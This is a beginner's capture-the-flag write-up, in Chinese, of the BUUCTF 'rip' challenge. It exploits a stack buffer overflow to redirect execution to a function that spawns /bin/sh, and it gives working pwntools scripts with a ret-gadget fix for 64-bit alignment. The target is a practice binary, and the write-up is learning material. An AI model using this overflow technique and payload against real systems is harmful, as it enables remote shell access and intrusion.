初學pwn-writeUp
BUUCTF平台的一道題目,rip。
與之前同樣的步驟,啟動靶機,連結遠端
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIyVGduV2YfNWawNyZuBnLzUDZhNjZxUGOjRmY5Y2M5MzYzQjZ3MTZjNmNhVDO3YzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
發現這裡提示輸入一些内容,但是輸入完成之後,這裡就結束了。還是要打開檔案檢視一下。
看到這裡,隻有一個輸入的過程可以操作,那就很清楚了,就是要棧溢出了。點進去看一下。
可以看到這裡s這個數組是15個位元組,到r這個傳回值還需要8個位元組。不過這裡要注意的一點是,這個15是十進制的,不能像之前再在數字之前加0x标記十六進制,這裡可以直接寫十進制。
摁shift+f12,可以看到這時還有什麼位址可能會用到,
發現了我們的關鍵字,/bin/sh,這就是我們想要的指令,繼續檢視,可以發現,這個指令在fun()函數中。
那就簡單了,跟之前的套路完全一樣,隻要把fun函數的位址傳回給剛剛我們在s數組後看到的r中就可以。
編寫腳本
from pwn import *
p = remote("node4.buuoj.cn", 25119);
payload = 'a' * 23 + p64(0x401186).decode("iso-8859-1");
p.sendline(payload);
p.interactive();
但是很遺憾,失敗了。
執行腳本之後,發現并沒有獲得shell權限。遇到這個問題,就很奇怪,明明是沒有什麼問題,很簡單的一個練習。隻能求助于百度。搜尋之後發現64位系統中,需要位址對齊之後才可以執行system。這裡需要在fun函數的位址之前加一個retn的位址,在IDA-view裡随便找一個retn的指針都可以。具體的原理還沒了解,不過這樣可以解決位址對齊的問題。
修改腳本
from pwn import *
p = remote("node4.buuoj.cn", 25119);
payload = 'a' * 23 + p64(0x401185).decode("iso-8859-1") + p64(0x401186).decode("iso-8859-1");
#p.recvuntil("please input");
p.sendline(payload);
p.interactive();
解決問題!